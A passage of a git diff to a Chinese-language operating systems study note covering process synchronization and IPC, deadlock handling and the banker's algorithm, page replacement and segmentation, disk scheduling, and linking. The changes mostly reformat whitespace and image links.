+- 必须同时拿起左右两根筷子；
+- 只有在两个邻居都没有进餐的情况下才允许进餐。
 
 ```c
-#define N 5
-#define LEFT (i + N - 1) % N // 左邻居
-#define RIGHT (i + 1) % N    // 右邻居
-#define THINKING 0
-#define HUNGRY   1
-#define EATING   2
-typedef int semaphore;
-int state[N];                // 跟踪每个哲学家的状态
-semaphore mutex = 1;         // 临界区的互斥
-semaphore s[N];              // 每个哲学家一个信号量
+#define N 5
+#define LEFT (i + N - 1) % N // 左邻居
+#define RIGHT (i + 1) % N    // 右邻居
+#define THINKING 0
+#define HUNGRY   1
+#define EATING   2
+typedef int semaphore;
+int state[N];                // 跟踪每个哲学家的状态
+semaphore mutex = 1;         // 临界区的互斥
+semaphore s[N];              // 每个哲学家一个信号量
 
-void philosopher(int i) {
-    while(TRUE) {
-        think();
-        take_two(i);
-        eat();
-        put_two(i);
-    }
+void philosopher(int i) {
+    while(TRUE) {
+        think();
+        take_two(i);
+        eat();
+        put_two(i);
+    }
 }
 
-void take_two(int i) {
-    down(&mutex);
-    state[i] = HUNGRY;
-    test(i);
-    up(&mutex);
-    down(&s[i]);
+void take_two(int i) {
+    down(&mutex);
+    state[i] = HUNGRY;
+    test(i);
+    up(&mutex);
+    down(&s[i]);
 }
 
-void put_two(i) {
-    down(&mutex);
-    state[i] = THINKING;
-    test(LEFT);
-    test(RIGHT);
-    up(&mutex);
+void put_two(i) {
+    down(&mutex);
+    state[i] = THINKING;
+    test(LEFT);
+    test(RIGHT);
+    up(&mutex);
 }
 
-void test(i) {         // 尝试拿起两把筷子
-    if(state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] !=EATING) {
-        state[i] = EATING;
-        up(&s[i]);
-    }
+void test(i) {         // 尝试拿起两把筷子
+    if(state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] !=EATING) {
+        state[i] = EATING;
+        up(&s[i]);
+    }
 }
 ```
 
-## 进程通信
+## 进程通信
 
 进程同步与进程通信很容易混淆，它们的区别在于：
 
-- 进程同步：控制多个进程按一定顺序执行；
-- 进程通信：进程间传输信息。
+- 进程同步：控制多个进程按一定顺序执行；
+- 进程通信：进程间传输信息。
 
 进程通信是一种手段，而进程同步是一种目的。也可以说，为了能够达到进程同步的目的，需要让进程进行通信，传输一些进程同步所需要的信息。
 
-### 1. 管道
+### 1. 管道
 
-管道是通过调用 pipe 函数创建的，fd[0] 用于读，fd[1] 用于写。
+管道是通过调用 pipe 函数创建的，fd[0] 用于读，fd[1] 用于写。
 
 ```c
-#include <unistd.h>
-int pipe(int fd[2]);
+#include <unistd.h>
+int pipe(int fd[2]);
 ```
 
 它具有以下限制：
 
-- 只支持半双工通信（单向交替传输）；
-- 只能在父子进程中使用。
+- 只支持半双工通信（单向交替传输）；
+- 只能在父子进程中使用。
 
-![](index_files/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png)
+<div align="center"> <img src="pics/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png"/> </div><br>
 
-### 2. FIFO
+### 2. FIFO
 
 也称为命名管道，去除了管道只能在父子进程中使用的限制。
 
 ```c
-#include <sys/stat.h>
-int mkfifo(const char *path, mode_t mode);
-int mkfifoat(int fd, const char *path, mode_t mode);
+#include <sys/stat.h>
+int mkfifo(const char *path, mode_t mode);
+int mkfifoat(int fd, const char *path, mode_t mode);
 ```
 
-FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户进程和服务器进程之间传递数据。
+FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户进程和服务器进程之间传递数据。
 
-![](index_files/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png)
+<div align="center"> <img src="pics/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png"/> </div><br>
 
-### 3. 消息队列
+### 3. 消息队列
 
-相比于 FIFO，消息队列具有以下优点：
+相比于 FIFO，消息队列具有以下优点：
 
-- 消息队列可以独立于读写进程存在，从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难；
-- 避免了 FIFO 的同步阻塞问题，不需要进程自己提供同步方法；
-- 读进程可以根据消息类型有选择地接收消息，而不像 FIFO 那样只能默认地接收。
+- 消息队列可以独立于读写进程存在，从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难；
+- 避免了 FIFO 的同步阻塞问题，不需要进程自己提供同步方法；
+- 读进程可以根据消息类型有选择地接收消息，而不像 FIFO 那样只能默认地接收。
 
-### 4. 信号量
+### 4. 信号量
 
 它是一个计数器，用于为多个进程提供对共享数据对象的访问。
 
-### 5. 共享存储
+### 5. 共享存储
 
-允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制，所以这是最快的一种 IPC。
+允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制，所以这是最快的一种 IPC。
 
 需要使用信号量用来同步对共享存储的访问。
 
-多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件，而是使用使用内存的匿名段。
+多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件，而是使用使用内存的匿名段。
 
-### 6. 套接字
+### 6. 套接字
 
 与其它通信机制不同的是，它可用于不同机器间的进程通信。
 
-# 三、死锁
+# 三、死锁
 
-## 必要条件
+## 必要条件
 
-![](index_files/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png)
+<div align="center"> <img src="pics/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png"/> </div><br>
 
-- 互斥：每个资源要么已经分配给了一个进程，要么就是可用的。
-- 占有和等待：已经得到了某个资源的进程可以再请求新的资源。
-- 不可抢占：已经分配给一个进程的资源不能强制性地被抢占，它只能被占有它的进程显式地释放。
-- 环路等待：有两个或者两个以上的进程组成一条环路，该环路中的每个进程都在等待下一个进程所占有的资源。
+- 互斥：每个资源要么已经分配给了一个进程，要么就是可用的。
+- 占有和等待：已经得到了某个资源的进程可以再请求新的资源。
+- 不可抢占：已经分配给一个进程的资源不能强制性地被抢占，它只能被占有它的进程显式地释放。
+- 环路等待：有两个或者两个以上的进程组成一条环路，该环路中的每个进程都在等待下一个进程所占有的资源。
 
-## 处理方法
+## 处理方法
 
 主要有以下四种方法：
 
-- 鸵鸟策略
-- 死锁检测与死锁恢复
-- 死锁预防
-- 死锁避免
+- 鸵鸟策略
+- 死锁检测与死锁恢复
+- 死锁预防
+- 死锁避免
 
-## 鸵鸟策略
+## 鸵鸟策略
 
 把头埋在沙子里，假装根本没发生问题。
 
@@ -692,126 +733,126 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客
 
 当发生死锁时不会对用户造成多大影响，或发生死锁的概率很低，可以采用鸵鸟策略。
 
-大多数操作系统，包括 Unix，Linux 和 Windows，处理死锁问题的办法仅仅是忽略它。
+大多数操作系统，包括 Unix，Linux 和 Windows，处理死锁问题的办法仅仅是忽略它。
 
-## 死锁检测与死锁恢复
+## 死锁检测与死锁恢复
 
 不试图阻止死锁，而是当检测到死锁发生时，采取措施进行恢复。
 
-### 1. 每种类型一个资源的死锁检测
+### 1. 每种类型一个资源的死锁检测
 
-![](index_files/b1fa0453-a4b0-4eae-a352-48acca8fff74.png)
+<div align="center"> <img src="pics/b1fa0453-a4b0-4eae-a352-48acca8fff74.png"/> </div><br>
 
 上图为资源分配图，其中方框表示资源，圆圈表示进程。资源指向进程表示该资源已经分配给该进程，进程指向资源表示进程请求获取该资源。
 
-图 a 可以抽取出环，如图 b，它满足了环路等待条件，因此会发生死锁。
+图 a 可以抽取出环，如图 b，它满足了环路等待条件，因此会发生死锁。
 
 每种类型一个资源的死锁检测算法是通过检测有向图是否存在环来实现，从一个节点出发进行深度优先搜索，对访问过的节点进行标记，如果访问了已经标记的节点，就表示有向图存在环，也就是检测到死锁的发生。
 
-### 2. 每种类型多个资源的死锁检测
+### 2. 每种类型多个资源的死锁检测
 
-![](index_files/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png)
+<div align="center"> <img src="pics/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png"/> </div><br>
 
 上图中，有三个进程四个资源，每个数据代表的含义如下：
 
-- E 向量：资源总量
-- A 向量：资源剩余量
-- C 矩阵：每个进程所拥有的资源数量，每一行都代表一个进程拥有资源的数量
-- R 矩阵：每个进程请求的资源数量
+- E 向量：资源总量
+- A 向量：资源剩余量
+- C 矩阵：每个进程所拥有的资源数量，每一行都代表一个进程拥有资源的数量
+- R 矩阵：每个进程请求的资源数量
 
-进程 P<sub>1</sub> 和 P<sub>2</sub> 所请求的资源都得不到满足，只有进程 P<sub>3</sub> 可以，让 P<sub>3</sub> 执行，之后释放 P<sub>3</sub> 拥有的资源，此时 A = (2 2 2 0)。P<sub>2</sub> 可以执行，执行后释放 P<sub>2</sub> 拥有的资源，A = (4 2 2 1) 。P<sub>1</sub> 也可以执行。所有进程都可以顺利执行，没有死锁。
+进程 P<sub>1</sub> 和 P<sub>2</sub> 所请求的资源都得不到满足，只有进程 P<sub>3</sub> 可以，让 P<sub>3</sub> 执行，之后释放 P<sub>3</sub> 拥有的资源，此时 A = (2 2 2 0)。P<sub>2</sub> 可以执行，执行后释放 P<sub>2</sub> 拥有的资源，A = (4 2 2 1) 。P<sub>1</sub> 也可以执行。所有进程都可以顺利执行，没有死锁。
 
 算法总结如下：
 
 每个进程最开始时都不被标记，执行过程有可能被标记。当算法结束时，任何没有被标记的进程都是死锁进程。
 
-1. 寻找一个没有标记的进程 P<sub>i</sub>，它所请求的资源小于等于 A。
-2. 如果找到了这样一个进程，那么将 C 矩阵的第 i 行向量加到 A 中，标记该进程，并转回 1。
-3. 如果没有这样一个进程，算法终止。
+1. 寻找一个没有标记的进程 P<sub>i</sub>，它所请求的资源小于等于 A。
+2. 如果找到了这样一个进程，那么将 C 矩阵的第 i 行向量加到 A 中，标记该进程，并转回 1。
+3. 如果没有这样一个进程，算法终止。
 
-### 3. 死锁恢复
+### 3. 死锁恢复
 
-- 利用抢占恢复
-- 利用回滚恢复
-- 通过杀死进程恢复
+- 利用抢占恢复
+- 利用回滚恢复
+- 通过杀死进程恢复
 
-## 死锁预防
+## 死锁预防
 
 在程序运行之前预防发生死锁。
 
-### 1. 破坏互斥条件
+### 1. 破坏互斥条件
 
 例如假脱机打印机技术允许若干个进程同时输出，唯一真正请求物理打印机的进程是打印机守护进程。
 
-### 2. 破坏占有和等待条件
+### 2. 破坏占有和等待条件
 
 一种实现方式是规定所有进程在开始执行前请求所需要的全部资源。
 
-### 3. 破坏不可抢占条件
+### 3. 破坏不可抢占条件
 
-### 4. 破坏环路等待
+### 4. 破坏环路等待
 
 给资源统一编号，进程只能按编号顺序来请求资源。
 
-## 死锁避免
+## 死锁避免
 
 在程序运行时避免发生死锁。
 
-### 1. 安全状态
+### 1. 安全状态
 
-![](index_files/ed523051-608f-4c3f-b343-383e2d194470.png)
+<div align="center"> <img src="pics/ed523051-608f-4c3f-b343-383e2d194470.png"/> </div><br>
 
-图 a 的第二列 Has 表示已拥有的资源数，第三列 Max 表示总共需要的资源数，Free 表示还有可以使用的资源数。从图 a 开始出发，先让 B 拥有所需的所有资源（图 b），运行结束后释放 B，此时 Free 变为 5（图 c）；接着以同样的方式运行 C 和 A，使得所有进程都能成功运行，因此可以称图 a 所示的状态时安全的。
+图 a 的第二列 Has 表示已拥有的资源数，第三列 Max 表示总共需要的资源数，Free 表示还有可以使用的资源数。从图 a 开始出发，先让 B 拥有所需的所有资源（图 b），运行结束后释放 B，此时 Free 变为 5（图 c）；接着以同样的方式运行 C 和 A，使得所有进程都能成功运行，因此可以称图 a 所示的状态时安全的。
 
 定义：如果没有死锁发生，并且即使所有进程突然请求对资源的最大需求，也仍然存在某种调度次序能够使得每一个进程运行完毕，则称该状态是安全的。
 
 安全状态的检测与死锁的检测类似，因为安全状态必须要求不能发生死锁。下面的银行家算法与死锁检测算法非常类似，可以结合着做参考对比。
 
-### 2. 单个资源的银行家算法
+### 2. 单个资源的银行家算法
 
 一个小城镇的银行家，他向一群客户分别承诺了一定的贷款额度，算法要做的是判断对请求的满足是否会进入不安全状态，如果是，就拒绝请求；否则予以分配。
 
-![](index_files/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png)
+<div align="center"> <img src="pics/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png"/> </div><br>
 
-上图 c 为不安全状态，因此算法会拒绝之前的请求，从而避免进入图 c 中的状态。
+上图 c 为不安全状态，因此算法会拒绝之前的请求，从而避免进入图 c 中的状态。
 
-### 3. 多个资源的银行家算法
+### 3. 多个资源的银行家算法
 
-![](index_files/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png)
+<div align="center"> <img src="pics/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png"/> </div><br>
 
-上图中有五个进程，四个资源。左边的图表示已经分配的资源，右边的图表示还需要分配的资源。最右边的 E、P 以及 A 分别表示：总资源、已分配资源以及可用资源，注意这三个为向量，而不是具体数值，例如 A=(1020)，表示 4 个资源分别还剩下 1/0/2/0。
+上图中有五个进程，四个资源。左边的图表示已经分配的资源，右边的图表示还需要分配的资源。最右边的 E、P 以及 A 分别表示：总资源、已分配资源以及可用资源，注意这三个为向量，而不是具体数值，例如 A=(1020)，表示 4 个资源分别还剩下 1/0/2/0。
 
 检查一个状态是否安全的算法如下：
 
-- 查找右边的矩阵是否存在一行小于等于向量 A。如果不存在这样的行，那么系统将会发生死锁，状态是不安全的。
-- 假若找到这样一行，将该进程标记为终止，并将其已分配资源加到 A 中。
-- 重复以上两步，直到所有进程都标记为终止，则状态时安全的。
+- 查找右边的矩阵是否存在一行小于等于向量 A。如果不存在这样的行，那么系统将会发生死锁，状态是不安全的。
+- 假若找到这样一行，将该进程标记为终止，并将其已分配资源加到 A 中。
+- 重复以上两步，直到所有进程都标记为终止，则状态时安全的。
 
 如果一个状态不是安全的，需要拒绝进入这个状态。
 
-# 四、内存管理
+# 四、内存管理
 
-## 虚拟内存
+## 虚拟内存
 
 虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存，从而让程序获得更多的可用内存。
 
 为了更好的管理内存，操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间，这个地址空间被分割成多个块，每一块称为一页。这些页被映射到物理内存，但不需要映射到连续的物理内存，也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时，由硬件执行必要的映射，将缺失的部分装入物理内存并重新执行失败的指令。
 
-从上面的描述中可以看出，虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存，也就是说一个程序不需要全部调入内存就可以运行，这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址，那么一个程序的地址空间范围是 0~64K。该计算机只有 32KB 的物理内存，虚拟内存技术允许该计算机运行一个 64K 大小的程序。
+从上面的描述中可以看出，虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存，也就是说一个程序不需要全部调入内存就可以运行，这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址，那么一个程序的地址空间范围是 0\~64K。该计算机只有 32KB 的物理内存，虚拟内存技术允许该计算机运行一个 64K 大小的程序。
 
-![](index_files/7b281b1e-0595-402b-ae35-8c91084c33c1.png)
+<div align="center"> <img src="pics/7b281b1e-0595-402b-ae35-8c91084c33c1.png"/> </div><br>
 
-## 分页系统地址映射
+## 分页系统地址映射
 
-内存管理单元（MMU）管理着地址空间和物理内存的转换，其中的页表（Page table）存储着页（程序地址空间）和页框（物理内存空间）的映射表。
+内存管理单元（MMU）管理着地址空间和物理内存的转换，其中的页表（Page table）存储着页（程序地址空间）和页框（物理内存空间）的映射表。
 
 一个虚拟地址分成两个部分，一部分存储页面号，一部分存储偏移量。
 
-下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位。例如对于虚拟地址（0010 000000000100），前 4 位是存储页面号 2，读取表项内容为（110 1），页表项最后一位表示是否存在于内存中，1 表示存在。后 12 位存储偏移量。这个页对应的页框的地址为 （110 000000000100）。
+下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位。例如对于虚拟地址（0010 000000000100），前 4 位是存储页面号 2，读取表项内容为（110 1），页表项最后一位表示是否存在于内存中，1 表示存在。后 12 位存储偏移量。这个页对应的页框的地址为 （110 000000000100）。
 
-<img src="index_files/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/>
+<div align="center"> <img src="pics/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/> </div><br>
 
-## 页面置换算法
+## 页面置换算法
 
 在程序运行过程中，如果要访问的页面不在内存中，就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间，系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。
 
@@ -819,9 +860,9 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客
 
 页面置换算法的主要目标是使页面置换频率最低（也可以说缺页率最低）。
 
-### 1. 最佳
+### 1. 最佳
 
-> OPT, Optimal replacement algorithm
+> OPT, Optimal replacement algorithm
 
 所选择的被换出的页面将是最长时间内不再被访问，通常可以保证获得最低的缺页率。
 
@@ -829,239 +870,210 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客
 
 举例：一个系统为某进程分配了三个物理块，并有如下页面引用序列：
 
-$$ 7，0，1，2，0，3，0，4，2，3，0，3，2，1，2，0，1，7，0，1 $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?7，0，1，2，0，3，0，4，2，3，0，3，2，1，2，0，1，7，0，1"/></div> <br>
 
-开始运行时，先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时，产生缺页中断，会将页面 7 换出，因为页面 7 再次被访问的时间最长。
+开始运行时，先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时，产生缺页中断，会将页面 7 换出，因为页面 7 再次被访问的时间最长。
 
-### 2. 最近最久未使用
+### 2. 最近最久未使用
 
-> LRU, Least Recently Used
+> LRU, Least Recently Used
 
-虽然无法知道将来要使用的页面情况，但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。
+虽然无法知道将来要使用的页面情况，但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。
 
-为了实现 LRU，需要在内存中维护一个所有页面的链表。当一个页面被访问时，将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的。
+为了实现 LRU，需要在内存中维护一个所有页面的链表。当一个页面被访问时，将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的。
 
-因为每次访问都需要更新链表，因此这种方式实现的 LRU 代价很高。
+因为每次访问都需要更新链表，因此这种方式实现的 LRU 代价很高。
 
-$$ 4，7，0，7，1，0，1，2，1，2，6 $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?4，7，0，7，1，0，1，2，1，2，6"/></div> <br>
 
-<center> ![](index_files/eb859228-c0f2-4bce-910d-d9f76929352b.png) </center>
+<div align="center"> <img src="pics/eb859228-c0f2-4bce-910d-d9f76929352b.png"/> </div><br>
 
-### 3. 最近未使用
+### 3. 最近未使用
 
-> NRU, Not Recently Used
+> NRU, Not Recently Used
 
-每个页面都有两个状态位：R 与 M，当页面被访问时设置页面的 R=1，当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类：
+每个页面都有两个状态位：R 与 M，当页面被访问时设置页面的 R=1，当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类：
 
-- R=0，M=0
-- R=0，M=1
-- R=1，M=0
-- R=1，M=1
+- R=0，M=0
+- R=0，M=1
+- R=1，M=0
+- R=1，M=1
 
-当发生缺页中断时，NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。
+当发生缺页中断时，NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。
 
-NRU 优先换出已经被修改的脏页面（R=0，M=1），而不是被频繁使用的干净页面（R=1，M=0）。
+NRU 优先换出已经被修改的脏页面（R=0，M=1），而不是被频繁使用的干净页面（R=1，M=0）。
 
-### 4. 先进先出
+### 4. 先进先出
 
-> FIFO, First In First Out
+> FIFO, First In First Out
 
 选择换出的页面是最先进入的页面。
 
 该算法会将那些经常被访问的页面也被换出，从而使缺页率升高。
 
-### 5. 第二次机会算法
+### 5. 第二次机会算法
 
-FIFO 算法可能会把经常使用的页面置换出去，为了避免这一问题，对该算法做一个简单的修改：
+FIFO 算法可能会把经常使用的页面置换出去，为了避免这一问题，对该算法做一个简单的修改：
 
-当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候，检查最老页面的 R 位。如果 R 位是 0，那么这个页面既老又没有被使用，可以立刻置换掉；如果是 1，就将 R 位清 0，并把该页面放到链表的尾端，修改它的装入时间使它就像刚装入的一样，然后继续从链表的头部开始搜索。
+当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候，检查最老页面的 R 位。如果 R 位是 0，那么这个页面既老又没有被使用，可以立刻置换掉；如果是 1，就将 R 位清 0，并把该页面放到链表的尾端，修改它的装入时间使它就像刚装入的一样，然后继续从链表的头部开始搜索。
 
-![](index_files/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png)
+<div align="center"> <img src="pics/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png"/> </div><br>
 
-### 6. 时钟
+### 6. 时钟
 
-> Clock
+> Clock
 
 第二次机会算法需要在链表中移动页面，降低了效率。时钟算法使用环形链表将页面连接起来，再使用一个指针指向最老的页面。
 
-![](index_files/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png)
+<div align="center"> <img src="pics/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png"/> </div><br>
 
-## 分段
+## 分段
 
 虚拟内存采用的是分页技术，也就是将地址空间划分成固定大小的页，每一页再与内存进行映射。
 
-下图为一个编译器在编译过程中建立的多个表，有 4 个表是动态增长的，如果使用分页系统的一维地址空间，动态增长的特点会导致覆盖问题的出现。
+下图为一个编译器在编译过程中建立的多个表，有 4 个表是动态增长的，如果使用分页系统的一维地址空间，动态增长的特点会导致覆盖问题的出现。
 
-![](index_files/22de0538-7c6e-4365-bd3b-8ce3c5900216.png)
+<div align="center"> <img src="pics/22de0538-7c6e-4365-bd3b-8ce3c5900216.png"/> </div><br>
 
 分段的做法是把每个表分成段，一个段构成一个独立的地址空间。每个段的长度可以不同，并且可以动态增长。
 
-![](index_files/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png)
+<div align="center"> <img src="pics/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png"/> </div><br>
 
-## 段页式
+## 段页式
 
 程序的地址空间划分成多个拥有独立地址空间的段，每个段上的地址空间划分成大小相同的页。这样既拥有分段系统的共享和保护，又拥有分页系统的虚拟内存功能。
 
-## 分页与分段的比较
+## 分页与分段的比较
 
-- 对程序员的透明性：分页透明，但是分段需要程序员显示划分每个段。
+- 对程序员的透明性：分页透明，但是分段需要程序员显示划分每个段。
 
-- 地址空间的维度：分页是一维地址空间，分段是二维的。
+- 地址空间的维度：分页是一维地址空间，分段是二维的。
 
-- 大小是否可以改变：页的大小不可变，段的大小可以动态改变。
+- 大小是否可以改变：页的大小不可变，段的大小可以动态改变。
 
-- 出现的原因：分页主要用于实现虚拟内存，从而获得更大的地址空间；分段主要是为了使程序和数据可以被划分为逻辑上独立的地址空间并且有助于共享和保护。
+- 出现的原因：分页主要用于实现虚拟内存，从而获得更大的地址空间；分段主要是为了使程序和数据可以被划分为逻辑上独立的地址空间并且有助于共享和保护。
 
-# 五、设备管理
+# 五、设备管理
 
-## 磁盘结构
+## 磁盘结构
 
-- 盘面（Platter）：一个磁盘有多个盘面；
-- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；
-- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；
-- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；
-- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；
-- 主轴（Spindle）：使整个盘面转动。
+- 盘面（Platter）：一个磁盘有多个盘面；
+- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；
+- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；
+- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；
+- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；
+- 主轴（Spindle）：使整个盘面转动。
 
-![](index_files/014fbc4d-d873-4a12-b160-867ddaed9807.jpg)
+<div align="center"> <img src="pics/014fbc4d-d873-4a12-b160-867ddaed9807.jpg"/> </div><br>
 
-## 磁盘调度算法
+## 磁盘调度算法
 
 读写一个磁盘块的时间的影响因素有：
 
-- 旋转时间（主轴转动盘面，使得磁头移动到适当的扇区上）
-- 寻道时间（制动手臂移动，使得磁头移动到适当的磁道上）
-- 实际的数据传输时间
+- 旋转时间（主轴转动盘面，使得磁头移动到适当的扇区上）
+- 寻道时间（制动手臂移动，使得磁头移动到适当的磁道上）
+- 实际的数据传输时间
 
 其中，寻道时间最长，因此磁盘调度的主要目标是使磁盘的平均寻道时间最短。
 
-### 1. 先来先服务
+### 1. 先来先服务
 
-> FCFS, First Come First Served
+> FCFS, First Come First Served
 
 按照磁盘请求的顺序进行调度。
 
 优点是公平和简单。缺点也很明显，因为未对寻道做任何优化，使平均寻道时间可能较长。
 
-### 2. 最短寻道时间优先
+### 2. 最短寻道时间优先
 
-> SSTF, Shortest Seek Time First
+> SSTF, Shortest Seek Time First
 
 优先调度与当前磁头所在磁道距离最近的磁道。
 
 虽然平均寻道时间比较低，但是不够公平。如果新到达的磁道请求总是比一个在等待的磁道请求近，那么在等待的磁道请求会一直等待下去，也就是出现饥饿现象。具体来说，两端的磁道请求更容易出现饥饿现象。
 
-![](index_files/4e2485e4-34bd-4967-9f02-0c093b797aaa.png)
+<div align="center"> <img src="pics/4e2485e4-34bd-4967-9f02-0c093b797aaa.png"/> </div><br>
 
-### 3. 电梯算法
+### 3. 电梯算法
 
-> SCAN
+> SCAN
 
 电梯总是保持一个方向运行，直到该方向没有请求为止，然后改变运行方向。
 
 电梯算法（扫描算法）和电梯的运行过程类似，总是按一个方向来进行磁盘调度，直到该方向上没有未完成的磁盘请求，然后改变方向。
 
-因为考虑了移动方向，因此所有的磁盘请求都会被满足，解决了 SSTF 的饥饿问题。
+因为考虑了移动方向，因此所有的磁盘请求都会被满足，解决了 SSTF 的饥饿问题。
 
-![](index_files/271ce08f-c124-475f-b490-be44fedc6d2e.png)
+<div align="center"> <img src="pics/271ce08f-c124-475f-b490-be44fedc6d2e.png"/> </div><br>
 
-# 六、链接
+# 六、链接
 
-## 编译系统
+## 编译系统
 
-以下是一个 hello.c 程序：
+以下是一个 hello.c 程序：
 
 ```c
-#include <stdio.h>
+#include <stdio.h>
 
-int main()
+int main()
 {
-    printf("hello, world\n");
-    return 0;
+    printf("hello, world\n");
+    return 0;
 }
 ```
 
-在 Unix 系统上，由编译器把源文件转换为目标文件。
+在 Unix 系统上，由编译器把源文件转换为目标文件。
 
 ```bash
-gcc -o hello hello.c
+gcc -o hello hello.c
 ```
 
 这个过程大致如下：
 
-<img src="index_files/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg" width="800"/>
+<div align="center"> <img src="pics/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg" width="800"/> </div><br>
 
-- 预处理阶段：处理以 # 开头的预处理命令；
-- 编译阶段：翻译成汇编文件；
-- 汇编阶段：将汇编文件翻译成可重定向目标文件；
-- 链接阶段：将可重定向目标文件和 printf.o 等单独预编译好的目标文件进行合并，得到最终的可执行目标文件。
+- 预处理阶段：处理以 # 开头的预处理命令；
+- 编译阶段：翻译成汇编文件；
+- 汇编阶段：将汇编文件翻译成可重定向目标文件；
+- 链接阶段：将可重定向目标文件和 printf.o 等单独预编译好的目标文件进行合并，得到最终的可执行目标文件。
 
-## 静态链接
+## 静态链接
 
 静态链接器以一组可重定向目标文件为输入，生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务：
 
-- 符号解析：每个符号对应于一个函数、一个全局变量或一个静态变量，符号解析的目的是将每个符号引用与一个符号定义关联起来。
-- 重定位：链接器通过把每个符号定义与一个内存位置关联起来，然后修改所有对这些符号的引用，使得它们指向这个内存位置。
+- 符号解析：每个符号对应于一个函数、一个全局变量或一个静态变量，符号解析的目的是将每个符号引用与一个符号定义关联起来。
+- 重定位：链接器通过把每个符号定义与一个内存位置关联起来，然后修改所有对这些符号的引用，使得它们指向这个内存位置。
 
-![](index_files/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg)
+<div align="center"> <img src="pics/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br>
 
-## 目标文件
+## 目标文件
 
-- 可执行目标文件：可以直接在内存中执行；
-- 可重定向目标文件：可与其它可重定向目标文件在链接阶段合并，创建一个可执行目标文件；
-- 共享目标文件：这是一种特殊的可重定向目标文件，可以在运行时被动态加载进内存并链接；
+- 可执行目标文件：可以直接在内存中执行；
+- 可重定向目标文件：可与其它可重定向目标文件在链接阶段合并，创建一个可执行目标文件；
+- 共享目标文件：这是一种特殊的可重定向目标文件，可以在运行时被动态加载进内存并链接；
 
-## 动态链接
+## 动态链接
 
 静态库有以下两个问题：
 
-- 当静态库更新时那么整个程序都要重新进行链接；
-- 对于 printf 这种标准函数库，如果每个程序都要有代码，这会极大浪费资源。
+- 当静态库更新时那么整个程序都要重新进行链接；
+- 对于 printf 这种标准函数库，如果每个程序都要有代码，这会极大浪费资源。
 
